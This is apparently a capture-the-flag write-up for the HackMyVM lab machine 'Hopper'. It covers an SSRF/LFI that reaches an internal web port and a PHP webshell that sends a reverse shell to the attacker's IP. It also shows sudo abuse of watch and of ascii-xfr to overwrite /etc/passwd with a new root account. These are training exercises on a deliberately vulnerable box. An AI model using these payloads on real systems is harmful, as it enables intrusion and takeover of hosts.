HackMyVM: Hopper
This is Hopper. It’s Medium rated, I liked it (a lot), and I didn’t manage it all on my own. There are some important learnings here.
Ports
SSH and HTTP only.
HTTP
Fuzzing reveals our first target: http://10.10.10.54/advanced-search/. The page says:
Welcome to the private search
Here you will be able to load any page you want. You won’t have to worry about revealing your IP anymore!
We have a search box, which submits GET requests to page.php using the path parameter. I try to include a remote PHP shell and while the server will request and load the file, it doesn’t execute/include it.
GET /advanced-search/path.php?path=http%3A%2F%2F10.10.10.2%3A9090%2Fshell.php
We can request localhost URLs, which suggests SSRF. I try various path traversals, but can’t get upstream of the webroot.
We have an LFI using the file parameter, e.g:
/advanced-search/path.php?path=file:///etc/passwd
We have two users, edward and henry. We can use the LFI to get /var/log/wtmp and it appears henry has never logged in, so presumably we want edward.
┌──(root💀kali)-[/opt/hackmyvm/hopper]
└─# last -f ./wtmp
reboot system boot 4.19.0-17-amd64 Wed Jan 5 20:01 still running
root tty1 Thu Jul 29 13:19 - down (00:01)
reboot system boot 4.19.0-17-amd64 Thu Jul 29 13:17 - 13:20 (00:03)
reboot system boot 4.19.0-17-amd64 Wed Jul 28 05:50 - 13:20 (1+07:30)
root tty1 Wed Jul 28 05:49 - down (00:00)
edward pts/1 192.168.1.75 Wed Jul 28 05:39 - 05:49 (00:10)
# etc
I can’t read id_rsa, or even .bashrc or .profile for either of our users, so that’s not much good anyway. I run the seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt wordlist against the server but don’t find anything super useful.
This wordlist does not include /proc/net/tcp, which for seclists is only included in LFI-Jhaddix.txt. If we do include it, we get several entries:
0: 0100007F:08AE 00000000:0000 ...trimmed
1: 00000000:0016 00000000:0000 ...trimmed
2: 360A0A0A:C312 020A0A0A:04D2 ...trimmed
We can decode these with this Perl script from here if we want:
#!/usr/bin/perl
my $hexip=$ARGV[0];
my $hexport=$ARGV[1];
print "hex: $hexip\n";
my @ip = map hex($_), ( $hexip =~ m/../g );
my $ip = join('.',reverse(@ip));
my $port = hex($hexport);
print "IP: $ip PORT: $port\n";
And if we do then we get this:
┌──(root💀kali)-[/opt/hackmyvm/hopper]
└─# ./decode.pl 0100007F 08AE
hex: 0100007F
IP: 127.0.0.1 PORT: 2222
┌──(root💀kali)-[/opt/hackmyvm/hopper]
└─# ./decode.pl 00000000 0016
hex: 00000000
IP: 0.0.0.0 PORT: 22
┌──(root💀kali)-[/opt/hackmyvm/hopper]
└─# ./decode.pl 360A0A0A C312
hex: 360A0A0A
IP: 10.10.10.54 PORT: 49938
So we can see there is an open port (2222) accessible via localhost and indeed our vector is SSRF via an internal webserver.
I also saw a python script on another writeup used to probe all ports rather than querying for /proc/net/tcp; that’s like this:
#!/usr/bin/python3
import requests
for port in range(1,65535):
res = requests.get('http://10.10.10.54/advanced-search/path.php?path=http://localhost:%d' % port)
if len(res.text) == 0:
continue
else:
print('-----------------------')
print('port %d\n' % port)
print(res.text)
print('-----------------------')
This script also finds the open port:
┌──(root💀kali)-[/opt/hackmyvm/hopper]
└─# ./probe.py
-----------------------
port 22
SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2
Protocol mismatch.
-----------------------
-----------------------
port 80
<head>
<link href="style.css" rel="stylesheet">
</head>
<div class="img"></div>
-----------------------
-----------------------
port 2222
<!DOCTYPE html>
<html>
<body>
<h1>[+] WARNING</h1>
<p> - Private corporative web server</p>
<p> - If you are non organization personal, leave immediately</p>
</body>
</html>
-----------------------
Next, we need to fuzz the port to see what we can find. Normally I use feroxbuster for this sort of thing but it doesn’t quite have the control needed, so it’s ffuf instead.
┌──(root💀kali)-[/opt/hackmyvm/hopper]
└─# ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://10.10.10.54/advanced-search/path.php?path=http://localhost:2222/FUZZ -fc 403 -ac -v -fw 18
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.0-dev'
________________________________________________
:: Method : GET
:: URL : http://10.10.10.54/advanced-search/path.php?path=http://localhost:2222/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response words: 18,51
:: Filter : Response size: 558
:: Filter : Response lines: 7
:: Filter : Response status: 403
________________________________________________
[Status: 200, Size: 1751, Words: 9, Lines: 31]
| URL | http://10.10.10.54/advanced-search/path.php?path=http://localhost:2222/backup
* FUZZ: backup
[Status: 200, Size: 0, Words: 1, Lines: 1]
| URL | http://10.10.10.54/advanced-search/path.php?path=http://localhost:2222/lost+found
* FUZZ: lost+found
:: Progress: [4702/4702] :: Job [1/1] :: 476 req/sec :: Duration: [0:00:14] :: Errors: 0 ::
The /backup file was an SSH key (encrypted) for our user edward. We can break this with john in the usual way and log in. Once inside, there isn’t actually much to find - and that’s the second interesting part about this challenge: sometimes you have to go backwards to go forwards.
We have write access to /var/www/html and that means we can create a webshell and send ourselves a reverse shell:
edward@hopper:~$ cd /var/www/html
edward@hopper:/var/www/html$ ls -lash
total 108K
4,0K drwxrwxrwx 3 root root 4,0K jul 28 11:41 .
4,0K drwxr-xr-x 3 root root 4,0K jul 27 12:32 ..
4,0K drwxrwxrwx 2 root root 4,0K jul 27 14:50 advanced-search
88K -rwxrwxrwx 1 root root 87K mar 15 2016 image.jpg
4,0K -rwxrwxrwx 1 root root 80 jul 27 14:27 index.html
4,0K -rwxrwxrwx 1 root root 104 jul 27 14:28 style.css
edward@hopper:/var/www/html$ printf '<?php system($_GET['cmd']);?>' > webshell.php
edward@hopper:/var/www/html$ chmod +x webshell.php
edward@hopper:/var/www/html$ exit
and
http://10.10.10.54/webshell.php?cmd=php+-r+%27$sock%3dfsockopen(%2210.10.10.2%22,1234)%3bexec(%22/bin/sh+-i+%3C%263+%3E%263+2%3E%263%22)%3b%27
and
┌──(root💀kali)-[/opt/hackmyvm/hopper]
└─# nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.10.2] from (UNKNOWN) [10.10.10.54] 49938
/bin/sh: 0: cant access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash");'
www-data@hopper:/var/www/html$ sudo -l
sudo -l
Matching Defaults entries for www-data on hopper:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on hopper:
(henry) NOPASSWD: /usr/bin/watch
www-data@hopper:/var/www/html$ sudo -u henry /usr/bin/watch -x sh -c 'reset; exec sh 1>&0 2>&0'
< /usr/bin/watch -x sh -c 'reset; exec sh 1>&0 2>&0'
Error opening terminal: unknown.
www-data@hopper:/var/www/html$ export TERM=xterm
export TERM=xterm
www-data@hopper:/var/www/html$ sudo -u henry /usr/bin/watch -x sh -c 'reset; exec sh 1>&0 2>&0'
sudo -u henry /usr/bin/watch -x sh -c 'reset; exec sh 1>&0 2>&0'
$ id
id
uid=1001(henry) gid=1001(henry) groups=1001(henry)
$ python3 -c 'import pty;pty.spawn("/bin/bash");'
python3 -c 'import pty;pty.spawn("/bin/bash");'
henry@hopper:/var/www/html$ sudo -l
sudo -l
Matching Defaults entries for henry on hopper:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on hopper:
(root) NOPASSWD: /usr/bin/ascii-xfr
So the last parts of this box are watch (GTFOBins) and ascii-xfr. ascii-xfr is used to:
upload/download files using the ASCII protocol
I make a copy of /etc/passwd and then overwrite the original, like so:
henry@hopper:~$ cp /etc/passwd passwd
cp /etc/passwd passwd
henry@hopper:~$ echo "root2:WVLY0mgH0RtUI:0:0:root:/root:/bin/bash" >> passwd
echo "root2:WVLY0mgH0RtUI:0:0:root:/root:/bin/bash" >> passwd
henry@hopper:~$ sudo -u root /usr/bin/ascii-xfr -r /etc/passwd < ./passwd
sudo -u root /usr/bin/ascii-xfr -r /etc/passwd < ./passwd
ASCII download of "/etc/passwd"
henry@hopper:
henry@hopper:~$ su root2
su root2
Password: mrcake
root@hopper:/home/henry# id;hostname;date
id;hostname;date
uid=0(root) gid=0(root) grupos=0(root)
hopper
jue ene 6 07:04:59 CET 2022
root@hopper:/home/henry#
And that was that! I definitely had to get a couple of hints for this one. Out of interest, the internal webserver running on Port 2222 was run like so:
root@hopper:~# cat start.sh
cat start.sh
#!/bin/bash
/usr/bin/php -S 127.0.0.1:2222 -t /root/server/ &> /dev/null &
sleep 2
chmod -R 777 /var/www/*
sleep 1
chmod -R 700 /root/*
sleep 1
chmod -R 700 /home/*
sleep 1
chmod -R 600 /home/edward/.ssh/*
sleep 1
echo " " > /var/log/apache2/access.log
sleep 1
echo " " > /var/log/apache2/error.log
sleep 1
echo " " > /var/log/auth.log
sleep 1
exit 0
root@hopper:~#